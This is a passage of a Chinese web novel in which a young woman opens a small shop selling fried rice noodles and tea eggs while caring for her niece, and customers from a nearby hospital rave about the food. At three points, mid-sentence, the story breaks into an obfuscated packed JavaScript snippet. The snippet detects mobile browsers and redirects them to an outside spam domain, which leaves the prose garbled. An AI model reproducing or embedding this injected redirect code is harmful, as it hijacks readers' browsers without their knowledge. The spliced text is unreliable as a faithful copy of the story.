林阅棠忍住笑,没残忍戳穿小卿宝的幻想告诉她真相——就算你上小学一年级,也只是个比现在高一点点的小豆丁而已啦。 招奶奶背手拿着一把蒲扇经过:“洗东西呢,需不需要帮忙?” 小卿宝认识招奶奶,不用林阅棠提醒,她就乖乖轻声叫人:“招奶奶。” “真乖。”招奶奶慈祥点了点头,目光上下扫看小卿宝,心里叹了口气,瘦了那么多,唉,姑外婆到底隔了几层关系,而且听说还有亲孙子,怎么可能会好好对待小卿宝。小棠自己也是个刚毕业的学生,带孩子也没什么经验……算了算了,以后能帮点就帮点吧。 “我听说之前那对夫妻已经搬走了,要我给你找中介吗?” “不了招奶奶,我准备自己开个饭店。” 招奶奶先是愣了一下,随后又点点头:“你的手艺确实可以,而且开店时间也比较自由些,可以自己控制,对了,你开店要桌椅之类的吧?我那正好有几张放在那都吃灰了,你可以先拿来用。” 林阅棠非常开心,“太感谢您了,那我就先当是借的,等我手头宽裕,您看是要卖还是……” 招奶奶打断她的话:“哎呀,这个到时候再说。” 等墙面干透了,林阅棠又刷了一遍,然后隔日中午刷第三次,店里终于变得洁白亮堂起来。 她把窗户打开透风,然后又去了一趟市场,买了新锁头,买了单灶台,买了铁锅,还买了各种锅碗瓢盆,另外租了煤气瓶……一趟下来,存款勉强剩个两千块。 一看这个余额,林阅棠根本歇不下来,她又去办了营业执照跟食品经营许可证,因为林阅棠是本地人,监督管理局里又有陈星认识的人,他打了声招呼,证件很快就办理好。 此时已经是一周之后了,林阅棠把这两个证往墙上一挂,然后提着从菜市场买来的菜走进后厨。 一家饭店,最重要的就是菜单。 林阅棠有四个师傅,所以她什么菜系都研究过,各种国宴硬菜也很拿手,不过她现在就一个人,而且资金有限,这些菜目前并不适合搬上来。 她想了好几天,终于决定好刚开始要卖什么了。 ——炒米粉跟茶叶蛋! 米粉提前泡好,只需要一两分钟就能炒熟,茶叶蛋前一晚就要开始煮,开店的时候就已经煮好了,客人想要的话用小袋子装起来就行。 林阅棠看一眼自己身后的跟屁虫:“宝宝,我现在交给你一个任务,你把这些鸡蛋洗一洗,但不要弄破蛋壳,可以吗?” 小卿宝小脸郑重:“好,我会很小心,我轻轻的。” 林阅棠盛了盆水让小卿宝在旁边洗鸡蛋,她则是将炒米粉要用到猪肉切片先腌好放冰箱,这样才更入味。 林阅棠把小卿宝洗好的鸡蛋煮熟,过了凉水后用勺子敲裂蛋壳,将香叶、桂皮、八角、干辣椒等卤料铺在电饭锅底下,最后再塞入一把茶叶,这红茶叶是招奶奶送的,味道很香。 林阅棠将鸡蛋摆进去,把加了老抽生抽的水没过鸡蛋,煮开后摁下保温模式,她拿上钥匙:“好了,我们去睡觉觉吧。” 林阅棠关上门,拉着小卿宝的手,两个一高一矮的身影踩着楼梯上的影子,慢慢地走上二楼。 翌日,林阅棠调了六点的闹钟,她去菜市场买了一袋子绿豆芽还有两根胡萝卜,还有三块钱香葱。把胡萝卜切成丝,另外两样食材也洗好放在一旁沥水,林阅棠又将之前就已经腌制好酸豆角捞出来,她掐了半根尝尝,酸溜溜的,很开胃,将酸豆角切成小小段放在一个小玻璃罐里,又把之前炒好的辣椒酱也倒在另一个玻璃罐中。 小卿宝自己刷了牙洗好脸就下来了:“小姨,要我帮忙忙嘛?” 林阅棠打开电饭锅,给她拿一个茶叶蛋,剥开皮:“那你帮小姨尝尝看这个鸡蛋熟了没有吧。” 小卿宝小手指点了点茶叶蛋,像是发现什么很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072305|163267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有趣的事情:“这个蛋蛋黑乎乎的,但是它好香香哦~” 她低头咬了一口茶叶蛋,鼓着小脸蛋,眼睛顿时亮起:“好次~” 乔桐桐是骨科医院的一名护士,她在圣沙村租了一间房子住,这里房租便宜,而且离工作地点也近,她七点半早班,就算七点出门,买了一份早餐再去医院,时间也是绰绰有余。 那今天要吃什么早餐好呢?医院前面那家包子铺的肉包味道还不错,不过之前就要三块钱一个,最近又涨了五毛钱,她胃口不算大,但也要吃两个包子,再喝一份豆浆才能饱。 乔桐桐正想着事,马上要走出村口时,忽然闻见一股浓浓的香味。 她下意识看过去,只见一个小孩子正小嘴吧砸地捧着一个茶叶蛋在吃,看得她莫名发馋,脚步不受控地走过去,等到了门口,她才猛地回过神……靠啊,这家店她以前来吃过,很难吃,而且不卫生,她吃完还拉肚子来着! 等等,这店里装修大变,难道是换老板了? 但乔桐桐还是不太信任,不过来都来了,而且这个味道确实香啊,于是她开口问:“有卖茶叶蛋吗?” 林阅棠点点头:“有的,两块钱一个。” “给我拿一个吧。” 乔桐桐本来想买个茶叶蛋就走,付完钱看见林阅棠在小黑板上写的菜品跟价格—— 蛋炒米粉6元,肉炒米粉9元,茶叶蛋2元。 鼻尖弥漫着茶香与卤香交织的香气,这家的茶叶蛋闻着那么香,炒米粉也不差吧,乔桐桐说:“再给我来一份蛋炒米粉吧。” 乔桐桐找位置坐下来,刚想抽出纸巾擦一擦,然后发现这里的桌子很干净,还是实木的,墙壁也非常干净。 乔桐桐看着看着,看向厨房,看见老板正在给铁锅开火加热,心一惊,没想到这六块钱的炒米粉居然还是现炒的啊,她以为是那种提前炒好放在包装盒里的,医院门口就有卖这种,鸡蛋的八块钱,肉的十二块。 乔桐桐一边看,一边将装在袋子里的茶叶蛋朝着桌面磕了磕,香味随着彻底裂开的纹路变浓,她的视线完全被吸引回来了,剥壳之后的茶叶蛋遍布琥珀色的诱人光泽。 乔桐桐吹了吹,迫不及待地咬了一口,微烫的汤汁酱香鲜美,完全化解了蛋腥味,蛋黄吸饱了卤汁,绵密又不干涩。 她吃了一口又一口又……嘶!差点咬到手指了!乔桐桐低头一看,才发现茶叶蛋已经被她吃完了! 这茶叶蛋也太香了!根本不够吃! 乔桐桐还想要再买一个,这时,她的鸡蛋炒米粉也上桌了。 “你的米粉好啦,如果喜欢吃辣的话可以加辣椒酱,这个酸豆角也可以加的。” 盛米粉的碗林阅棠用了白色的大圆瓷盘,刚出锅的米粉泛着诱人油光,带满锅气的蛋香味扑鼻而来。 “好嘞!”刚刚的茶叶蛋跟好像没吃进肚子一样,乔桐桐又觉得自己饿疯了,等林阅棠一转身,她立马拿起筷子。 5. 5 刚出锅的米粉腾着袅袅白烟,看着就特别烫嘴,乔桐桐鼓起嘴巴呼呼吹气,抄起筷子就卷起一大坨送进嘴里,她眼睛直接睁大:“唔……这也太香了吧!” 米粉很有韧性,不干不腻,还带着一点米香,鸡蛋滑嫩无比,绿豆芽又脆又爽口,萝卜丝切得细细的,夹杂着油香,连乔桐桐这种不爱吃胡萝卜的人都沉沦了。 她真想大声尖叫啊!麻麻呀!白月光一定要是人吗?!这一盘炒米粉她真是永生难忘啊! 对了,乔桐桐想起林阅棠的话,她打开玻璃罐,从里面挖了一勺辣椒酱铺到米粉上面,这辣椒酱散发出来的味道让她情不自禁分泌唾液,等搅拌在米粉里面一尝,不得了啦,这辣椒酱辣但不刺激,而且特别香口,跟米粉凑一起,口感层次变得格外丰富。 还有这个酸豆角也非常开胃,加在炒米粉里面正好可以解腻,简直是完美搭配。 小卿宝看见乔桐桐的反应,心里有种自豪感油然而生。这个姐姐也很喜欢吃小姨做的炒米粉呢,她就知道,没有人能拒绝小姨做的东西! 乔桐桐风卷残云扫光盘底,摸着圆滚滚的肚子十分满足地打了个饱嗝。 付款的时候,乔桐桐恋恋不舍地问:“老板老板,你中午还开门吗?” 林阅棠笑着说:“这得看情况。” 她用一周的时间观察了周围的人流量,然后准备有一板茶叶蛋,还有六斤干米粉泡发,这些什么时候卖完就什么时候关门。 乔桐桐:“哦哦好嘞。”她在心里跪地祈祷,请一定要开门啊!!她还没有吃够呢! 乔桐桐临走前,又买了一个茶叶蛋,准备饿的时候垫肚子用。 第一位客人离开,林阅棠把碟子拿进厨房清洗,小卿宝也立刻放下手里的小画本,跪在椅子上,用干净的热毛巾擦桌子,小家伙干得还挺像模像样。 林阅棠洗好碗出来,看了看时间,到点了,就将之前买的一串鞭炮拎到门口。 林阅棠笑着说:“宝宝,捂好小耳朵哟,要嘭嘭嘭啦。”东城这边有开业吉时放鞭炮的习俗,大一点的店还会请舞狮。 小卿宝又害怕又兴奋地捂住自己耳朵。 林阅棠用打火机点燃引火线,然后立刻跑回去抱住咯咯笑着的小卿宝,火光舔到鞭炮,噼里啪啦的声响震开,很快一串鞭炮就炸完了。 空气还有□□味,小卿宝乐呵呵地去踢地上的红纸屑玩。 不远处,一个身影正偷偷摸摸朝这边看来,此人正是那男老板,男老板名叫陈大贵,他们夫妻二人耍赖不成搬走后在附近重新找了家店,离医院更远了,而且比林阅棠的店铺还要小,但租金升到两千五,简直是后悔死了。 陈大贵回去跟老婆说:“那死丫头也开了店做吃的。” 妻子蹙眉:“她开在我们原来的地方,该不会把我们客源抢走吧。” 陈大贵不以为然:“放宽心吧,咱们是卖猪脚饭,她搞的那些什么米粉茶叶蛋的当不了午饭的,哪能抢得过我们,而且一个丫头片子能有什么手艺,等着摔个大跟头吧,让她知道不是谁都能来干这行的。” - 乔桐桐哼着小曲儿走进住院部六楼,同事打趣她:“你这一脸春心荡漾的,谈恋爱了?” “恋爱算什么?”乔桐桐捂住胸口,声音故意如吟诗一般耍宝起来,“我找到了我的白、月、光!” 同事八卦竖起小耳朵:“谁?干什么?” 乔桐桐嘿嘿嘿:“是一家新开的饭店里的炒米粉跟茶叶蛋,超级无敌好吃,改天我请你去吃,就在附近。” “什么呀,你也太夸张了,当我没吃过炒米粉跟茶叶蛋啊,”同事笑着往前走,“赶紧去换衣服吧。” “你还是太天真。”乔桐桐也没跟她辩论,把自己的茶叶蛋放在护士站的台面上,然后进去换衣服。 过一会儿,一位外卖员也走了进来,他跟电话那边的人说:“你好,你的外卖我拿到六楼了,你在哪个病房,需要我送进去吗?” 电话那头的人说:“在,在那个……哎呀,我也忘了,我在给我孙子洗澡,也出不去,这样吧,你先放到护士站那里,我等下出去拿。” “行。”外卖员放下东西拍了张照。 又过了五分钟,一位阿姨从病房走过来,在护士台看了看,嘟囔道:“点了啥啊,应该就是这些吧……这鸡蛋怎么还分开装。” 开完晨会,乔桐桐回到护士站翻翻找找:“咦,我的茶叶蛋呢,掉了吗?” 一边的同事抬头:“刚刚有个阿姨来拿外卖,可能是不小心一起拿走了。” “!!!”乔桐桐心中落泪,“不要啊!我的茶叶蛋!!”她的白月蛋……哦不,她的白月光! 昨晚医院有紧急事情,护士长被临时叫过来加夜班,现在到了下班时间,她换回自己的衣服,听见乔桐桐的嚎叫声,打趣道:“没吃上一个鸡蛋至于嘛?我去给你再买一个。” 乔桐桐开心道:“真的吗芬姐!” 赵芬:“骗你做什么,哪家的茶叶蛋?前面那家卖包子的吗?” 乔桐桐:“不不不,是后面圣沙村进去那家店,是新开的,没有名字。” “行,我知道了,你们好好工作。”赵芬走出医院,此时太阳已经出来,晨光格外明媚,但忙碌了一整晚,她还有种魂儿还在医院里没飘出来的感觉,脚步略微虚浮地穿过红绿灯,顺着人行道一直走,终于看到圣沙村的牌坊,往里面一拐,就看见一家没招牌的店。 应该就是乔桐桐说的那家店。 赵芬看见这还有炒米粉卖,其实她不怎么喜欢吃炒米粉,不过现在饿得慌,就想着凑合着顶一顶吧:“老板,来一份肉片炒米粉。” “好的,请稍等。”林阅棠走进厨房起锅热油,她将铁锅架在窜起的火焰里,开始用大火爆炒。 赵芬坐下没一会儿就闻到一股香味,刚开始是油香,然后是肉片豆芽胡萝卜丝等食材被大火完全逼出滋味的味道,最后在米粉上淋上调味过的酱油,这香味一层比一层浓烈。 赵芬不自觉深吸一口气,肚子不争气地叫唤着。 炒米粉很快就好了,等端上来,赵芬闻着那喷香的味道,原本因为加班有些昏昏沉沉的脑袋瞬间清醒不少:“老板,你们家炒米粉味道可真香啊。” 得到顾客的夸赞,林阅棠也很高兴。 赵芬夹起热腾腾的米粉,里面有粉有豆芽,一筷子吃起来又弹牙又爽脆,小葱很清香,还有这个肉片也特别嫩又满是肉香味,烫呼呼的把她舌尖都烫红了,她倒嘶一声,却不舍得松口:“好吃好吃!” 这是她吃过最美味炒米粉了!之前的炒米粉要不太干巴,要不底下全是油,多到能再炒两盘菜那种。 但这家店的炒米粉一切都刚刚好,那么足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072306|163267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的锅气,但是一点糊味都没有,老板的手艺可真好,赵芬更想尝尝看她做的茶叶蛋了:“我再要一个茶叶蛋。” 林阅棠刚要起身,小卿宝就站了起来,小手扯下袋子,嗓音稚嫩又积极道:“我来!” 她看过小姨装鸡蛋,她都会了! 只要把袋袋打开,然后将鸡蛋蛋舀起来,装进去,就好啦! 赵芬看着小卿宝乖巧的模样,比医院很多皮孩子都懂事,她心化了:“哎呀,你怎么那么乖啊。” 林阅棠也笑了笑,小卿宝害羞地跑回自己的小椅子上。 赵芬剥开茶褐色的蛋壳,清香浓郁的卤汁滴到她手指上,她赶紧张嘴吃掉茶叶蛋下面的部分,绝了,连蛋黄都糯糯的很入味,一点都不噎人。 这会儿正是上班高峰期,不少住在圣沙村的年轻人都要到前面的公交站乘车,林阅棠的店没有招牌,很多人会直接略过,也有人不经意瞥一眼赵芬津津有味吃着炒米粉的样子,莫名被吸引住,然后一看菜单,也不贵,于是也走进店里点了一份炒米粉。 林阅棠颠锅炒粉,铁锅伴随着大火发出的锃啷声响,无比浓郁勾人的香气随着白烟冒出,像一把勾子一样缠住刚好路过的人,有本来打算去其他店吃早餐的人闻着炒粉香味,顿时一愣,脚步都下意识停住了。 好家伙,这家店的炒米粉居然那么香,那今天就到这里尝尝吧。 于是等赵芬吃完米粉,店里几张桌子都坐满了人,大家都在埋头吃炒粉,而且几乎每个人都要了一个茶叶蛋,胃口大点的要了两个。 赵芬赶紧道:“老板,给我再拿十个茶叶蛋吧,钱扫过去了。”她真怕再晚一点茶叶蛋都没有了。 赵芬拎着茶叶蛋回到医院,这会姑娘们都在查房忙碌中,她将茶叶蛋往护士站台面里推了推,这才离开。 16号病床。 曹大姨哄着自己的孙子:“唉哟祖宗啊,你就吃一口吧,不吃东西怎么行呢,吃完这粥我们就出院,然后让你爸妈带你去游乐园玩好不好?” “我不要我不要!”曹子涵右手扎着绷带,耍起了脾气,“我要吃肯基基,我要吃炸鸡腿!” “那你粥喝了,喝完我们就去吃炸鸡腿。”曹大姨摁住他,真怕这皮猴又把自己受伤的手压到了。 不是她狠心不给孩子吃鸡腿,是他现在是那个什么骨折急性期,医生说油炸的都不能吃,不然容易得炎症。 “你骗我的,我就不要。”曹子涵瘪着嘴,呜呜呜哭起来。 作为一个活泼好动的小皮猴,曹子涵摔伤之后就不能出去跟其他小朋友玩,还只能吃这些没滋没味的东西,他真是受不了了。 “行行行,你不吃就不吃吧,饿了想吃东西了再让你爸给你点。”曹大姨很无奈,她这伺候完儿子还得伺候孙子,都是债啊,她也一早上没吃东西呢,这粥可不能浪费。 曹大姨喝完粥,吧砸了一下嘴,心想没她煮得好,这捞了半天没捞到几块皮蛋,瘦肉也是碎碎的,这也好意思叫皮蛋瘦肉粥,钱可真好挣啊。 曹大姨放下碗,看见还有个茶叶蛋,打开袋子,一股卤香忽然涌上来:“这个鸡蛋看起来倒是不错。” 原本躺在病床上生无可恋的曹子涵也闻到了,他爬起身,抽着鼻子凑过去,眼睛盯着茶叶蛋的纹路发光,好酷哦,好像蜘蛛侠蛋! 曹大姨看他:“你想吃啊?” 6. 6 曹子涵鼻尖几乎要贴到茶叶蛋上,棕褐色的蛋壳裂出道道纹路,缝隙里渗着琥珀色的卤汁,八角桂皮的香气混着淡淡茶香直往人鼻子里钻:“奶奶,我要吃这个!” 曹大姨心头一松,这小祖宗可算要吃东西了,而且不是别人逼的,而是自己说要吃。 “慢些慢些,奶奶给你剥,来,张嘴。” 曹子涵盘腿在病床上,张大嘴“嗷呜”咬掉半边,腮帮子鼓得像小仓鼠,还没全咽下去又伸长脖子去够剩下的:“还要!还要!” “哎呦我的小祖宗,细嚼慢咽懂不懂?”曹大姨举着半颗鸡蛋直躲,看着孙子油嘴角还沾着蛋黄渣忍不住笑,“真这么香?” 曹子涵点点头,含糊不清:“好好吃哦。”比幼儿园发的白鸡蛋好吃,比肯德基的炸鸡腿好吃! 这下子把曹大姨弄得也想尝一尝,可惜鸡蛋只有一个,她一大把年纪了,总不能跟住院的孙子抢吃的吧,于是这个想法也只能暂时作罢,想着等儿子来的时候再让他在手机上买个来尝尝。 今天的阳光特别好,光线淌进小饭馆,像打翻了一罐子晶莹剔透的蜂蜜,把瓷砖地板镀得金灿灿的。 这会儿十一点多,马上是午饭时间,茶叶蛋已经全部卖完,泡好的米粉也只剩下一人份。 林阅棠将现金跟扫码收款的收入清点一下,从付款时间看,客流量主要集中在七点半到八点半这一段时间,只要有个客人点米粉,林阅棠去厨房开炒,那飘出来的香味就会吸引来下一位客人,炒米粉的香气简直就是满分的揽客招牌! 林阅棠全部算完了,今天总共收入281元,她又算了算买食材花的钱,米粉、鸡蛋、还有卤料……卤料花了比较多的,因为她挑得都是质量比较好,而且一次性买了很多,这些食材加起来一共花掉近一百。 也就是说今天她赚了一百八十多块。 第一天有这个收入林阅棠还挺满意的,等存够钱,她就去定制一个招牌,还有店里得买台空调才行…… 林阅棠正在想事情,招奶奶乐呵呵的声音传来:“小棠,今天新开张生意怎么样?” 林阅棠站起来:“还行的。” “你这都卖空了,我还想来帮衬一下你呢。”招奶奶也替林阅棠开心,“我就知道,你做东西那么好吃,开店肯定没问题。” 林阅棠问:“厨房还剩有些点米粉,您要尝尝吗?” “那给我来一份炒米粉,我给你扫钱。”招奶奶没带老花镜,几乎把手机凑到脸前去看屏幕上的巨无霸字体。 林阅棠连忙道:“不用不用,您帮我那么多,我怎么好意思收您钱,就当是我请客。” “傻孩子,哪有开张第一天就请客的,没这种说法的……转过去了转过去了。”招奶奶也没问米粉是鸡蛋的还是肉片的,直接给林阅棠扫了九块钱。 林阅棠心中感动:“那您先坐着吧,我去给您做。” 招奶奶刚坐下来,外面又走进来一位老太太,她挑着扁担篮子,手上湿哒哒的,鞋子也有点水痕,一看就是刚在外面用水冲过。 “这家店看着也没什么特别的啊,你怎么非要到这吃东西。”说话的老太太姓梁,跟招奶奶是老相识,今天一早还带着招奶奶去她家的门前那片菜地摘菜。 招奶奶:“这儿的东西好吃。” “这有什么好吃的?”梁奶奶眯起眼睛去看菜单,“那么少东西,就炒米粉?我跟你说,我之前去吃过一家炒米粉那才是好滋味,用鱿鱼瑶柱去炒的,港城的明星去了都要排队呢,不过在郊区比较远,改天带上你家老头子一起去,对了,最近怎么没看见他?” “谁知道又死哪里去了,天天就知道抱着他的破鱼竿早出晚归,鬼影都不见一只,”招奶奶都不乐意多提自己家老头,她冲着小卿宝招了招手,然后从梁奶奶的篮子里拿出一扎荔枝,“这是我和你梁奶奶种的,等下你分给你小姨一起吃。” 小卿宝刚开始摆手说不要,但遭不住招奶奶的热情,就只好抱着荔枝,软软道:“谢谢招奶奶,谢谢梁奶奶。” 梁奶奶:“这孩子真乖,长得也俊,以前都没见过。” 招奶奶嗔她:“这是阿清的曾孙女,不过你前几年去帮你女儿带小孩了,没见过也正常。”阿清就是林阅棠外婆。 梁奶奶惊讶:“阿清的曾孙?那这家店……” 招奶奶:“小棠那孩子回来开的。” 林阅棠将炒好的米粉端上来,她将剩下的食材全都加进去,焦嫩的鸡蛋裹着晶莹的米粉,这一碟肉片鸡蛋炒米粉卖相琳琅满目,冒出来的烟火香气十分有层次感。 “闻着就香,不比你那个什么港星都去吃炒米粉差吧。”招奶奶得意地说,“小棠,你再给我拿个小碗,我跟你梁奶奶分着吃。” 梁奶奶吞了吞口水,目光从炒米粉上面移开,看一眼招奶奶没好气道:“我今天没带假牙,哪里咬得动米粉。” 招奶奶哈哈笑道:“那没办法了,你只能看着我吃了。” “梁奶奶,你吃不吃鸡蛋羹?厨房还有两个鸡蛋,你要的话我给你蒸一个。”林阅棠贴心地说。 梁奶奶被炒米粉的香味勾出了馋虫:“行啊。” 都是熟人,招奶奶说话也直接:“那你得给钱,可不能白吃孩子的哦。” “那肯定的。”梁奶奶往自己裤兜摸了摸,心里咯噔一下,坏了,今天出门好像没带钱包,真是年纪大了,什么都能忘。 她尴尬收回手,突然想到什么,从自己的菜篮子里搬出两颗白萝卜,还有一袋子香芋:“今天忘记带钱了,小棠,我就用这些跟你换吧。” 林阅棠一看,惊讶道:“这太多了。” “不多不多,都是自己种的,不要钱,我给你放这了哈。”梁奶奶把东西把柜台上一放。 招奶奶道:“收着吧,这老太婆是个倔脾气,你要是不收她就不吃你的鸡蛋羹了。” “那谢谢梁奶奶了。”林阅棠不再好拒绝老人家的一番心意,她手上做蒸蛋的速度加快,将鸡蛋打散加入温水和盐搅拌,然后将浮沫撇开,盖上保鲜膜戳了几个小洞放进锅里。 外头,招奶奶大口大口吃着米粉。 梁奶奶哀怨地看着自己的老闺蜜:“有那么好吃吗?” “香!”招奶奶说,“看着油润,吃起来却不会腻,清清爽爽,好吃得很。” 梁奶奶听了也馋得不得了,这时,她的蒸蛋终于好了。 梁奶奶看着自己面前的鸡蛋羹微微愣了一下,刚出炉的鸡蛋羹表面光滑如凝脂一样,一点气孔都没有,酱油与点缀在上面的香葱被热酱油激发出咸香味,她情不自禁把鸡蛋羹挪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072307|163267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近一点,那金黄的蛋羹便像Q弹的果冻一样微微颤动起来。 老天哦,一个鸡蛋羹居然比她孙女爱吃的小蛋糕还要精致,一副让人吃不起的样子。 鸡蛋羹很嫩,没有牙齿也能吃,等梁奶奶尝到蛋体的味道,眼睛更是直接瞪大,连吃了三口才放舍得放慢动作,她年纪大了,味觉也退化了,很多东西吃进嘴里总感觉没滋味,但这鸡蛋羹入口又滑又水,蛋香味也越来越浓,让她有一种舌尖都活过来的感觉。 美中不足的是少了一碗米饭,这要是用来拌饭,那不得把人香迷糊咯。 “你外婆年轻的时候煮碗面都能把锅煮糊,没想到你这姑娘做东西那么香。”梁奶奶感慨。 林阅棠笑着:“谢谢您的夸奖。” 梁奶奶:“你是只做早餐吗?” 林阅棠说:“目前是,不过后面会看情况加上午餐跟晚餐的。” “挺好的。”梁奶奶点点头,她吃完鸡蛋羹,又看了看招奶奶的炒米粉,心中馋意还是没能完全得到满足啊,不行,等明天小棠开门了,她要戴上假牙来尝尝这个炒米粉,不然心里总是痒痒的,难受。 - 下午一点多,护士姑娘们终于有时间休息吃饭。 乔桐桐刷到护士长的消息,在柜台找到那袋子茶叶蛋:“姐妹们,这是芬姐请客的,来,大家分了。” “这就是你心心念念的茶叶蛋呀,闻着是挺香的。” “就是有点凉了,不过鸡蛋不能放到微波炉里加热吧,算了,我埋在米饭里捂热。” “太讲究了,我直接吃……唔!真的挺不错耶。”最右边的护士惊讶道,放凉的茶叶蛋还挺好吃,连蛋黄都入味了,比卤鸭脖还香。 “必须的,我强推的店,绝对不可能踩雷。”乔桐桐拿出塑料叉子,将热水倒进泡面里,然后把茶叶蛋也一起丢进去。 唉,可惜中午太忙没时间,不然她还想去吃炒米粉。 三分钟后,乔桐桐打开泡面盖子。 徐初雨从外面走进来,鼻子狂吸:“桐桐,你在吃什么牌子泡面,好香啊,推我一下。” “就康帅傅红烧牛肉啊。”乔桐桐用叉子把茶叶蛋插起来。 徐初雨:“不可能,红烧牛肉面不是这个味。”当护士经常赶不上饭点,她就备了很多泡面,红烧牛肉面她都吃吐了,根本没有那么香。 乔桐桐吃完茶叶蛋开始吃面,一大叉子的面条挂着汤,她嗦完感觉确实比平日的红烧面要好吃很多:“可能是茶叶蛋的卤汤泡进去了,所以变好吃了。”香浓之中又带着一点儿茶香味,冲掉泡面那股香精味,非常解腻美味。 另一个同事说:“还得是桐桐会吃,早知道我也泡面加茶叶蛋,对了桐桐,明天帮我带两个蛋呗。” “我也要我也要。” 乔桐桐一口应下:“行行行。” 姑娘们吃着吃着,就聊到病人的一些情况。 “曹子涵你们知道吗?就16床那个小孩。他特搞笑,康复期要戒口很多东西不能吃,但他不乐意吃清淡的,总是囔囔着要吃炸鸡腿,他奶奶不给他就哭,整个医院都听见了。” “哈哈哈哈,话说他今天好像都没怎么吵……等等该不会是他奶奶偷偷给他吃了炸鸡腿吧?” “不会吧!你别吓我!” 7. 7 林阅棠将店铺打扫干净,看一眼时间——快十二点了,得赶紧去菜市场,再晚些很多档口都会关门午休。 林阅棠本来想买点排骨鱿鱼跟梁奶奶送的白萝卜一起炖汤,可刚跨进市场大门,干货店成排悬挂的腊肠就勾住她的目光,很快改变了主意。 她上前挑了些腊肠,东城本地的腊肠是甜口的,等下再买点虾皮回去做萝卜糕,还能让招奶奶跟梁奶奶也尝尝。 干瘦的老板在货架后面捣鼓了一下,电子秤“滴”地一声,他探出身子报了个价格。 倒是没有骗秤,但林阅棠接过袋子看一眼,眉心微蹙:“这不是我刚刚挑的啊。” “哦,我给你拿了点新货,这种更靓一点。”老板眼光闪了闪。 林阅棠差点气笑了:“这腊肠一点都不油润,还那么暗淡,是压了很久的旧货吧,我不要了。” 她放下东西,拉着小卿宝就走。 老板看林阅棠长得白白净净,还以为是哪个学生妹放暑假带着妹妹来给家里买东西,没想到还是个识货的。 “唉,靓女,回来,我便宜点给你。”老板在后面喊,看见林阅棠头也不回地走,“丢”地骂了一声,又把旧腊肠放回箱子里。 小卿宝小手握着小拳头,奶呼呼地生气:“那个人坏坏!” 林阅棠被她逗笑了:“宝宝说得对,那是坏人,不诚信,我们不要学他。” 小卿宝点头:“嗯嗯!” 七拐八弯,林阅棠转到一家阿婆开的店里,老人家卖的腊肠很漂亮,虾皮的质量也好,新鲜干燥,有股淡淡的海鲜咸味,而且阿婆还不会搞小动作。 林阅棠又在对面的菜档挑了几根青椒,准备回去用白糖、酱油、米醋等腌泡一晚上做成辣椒圈,用来当小料给客人搭配炒米粉。 这些小料也是拉拢客人的一种小手段,做得好吃的话,还会有客人为了小料专门来光顾呢。 回到家里,林阅棠腌好辣椒圈,又把白萝卜去皮刨丝,将白萝卜丝放在一个大碗里让它淌汁,拿起腊肠跟泡过水的虾米全都切成丁,然后下锅炒香。 萝卜丝也要炒一下,炒软逼出汁水,等脆生生的萝卜丝变得晶莹剔透,林阅棠又往里头加了盐、胡椒粉、糖调味,最后倒入粘米粉搅成糊状,把炒香的配料倒进去搅拌均匀。 小卿宝仰着小脸,双手举起手上的东西:“小姨,我把这个兜兜洗好擦干净了,一点点水都没有了哦。” “宝宝太厉害了,帮了我好大忙呢。”林阅棠接过蒸盘,在里面抹上一层食用油,再把萝卜糊倒进去压平,开大火去蒸。 这个要蒸挺久的,林阅棠把厨房台面收拾完,拎起装着香芋的袋子走到三楼阳台,将袋子敞开,让香芋在太阳底下晒个一两天吃起来会香很多。 这么大的阳台,不种点东西太可惜。 林阅棠将角落几个花盆挪出来,翻松了土,把早上剩下的葱头全扔进去。 小卿宝又噔噔噔跑过来:“小姨,小葱是不是要浇水?” 林阅棠点头:“嗯,小葱喝了水才会长大,我去拿个盆装水。” 阳台有水管,但是水龙头太久没用坏了。 小卿宝抢着先哒哒哒跑开:“小姨,我去我去,你等我。” 林阅棠把阳台散落的土扫干净,忽然她听见外面扑腾响起什么东西摔落的声响,她赶紧走出去,一看是小家伙跑太快了,把自己绊到,摔了一跤。 林阅棠赶紧把她抱起来,只见那白嫩的小膝盖上红红的,破皮了。 小卿宝大眼睛蓄了一泡泪,一开口却不是喊疼,而是很自责:“小姨,对不起,我把水撒了,小姨别不要我。” “水撒了拖干净就好啦,小姨怎么会因为一点小事就不要你,走,先给你处理伤口。”林阅棠用红药水给小卿宝上药。 涂好后,她刚把棉签跟药品收起来,一回头就看见小卿宝拉着拖把要往楼上走,那拖把比她还高那么多呢。 林阅棠三步并作两步,将拖把先放到一边,她问小卿宝:“宝宝,你在姑婆家也经常干活吗?” 小卿宝低着头,眼睫毛还有点湿湿的:“姑婆说宝宝那么大了,要帮忙的。” 吃东西的时候说她家孩子小不用吃那么多,到干活了就说她家孩子大了? 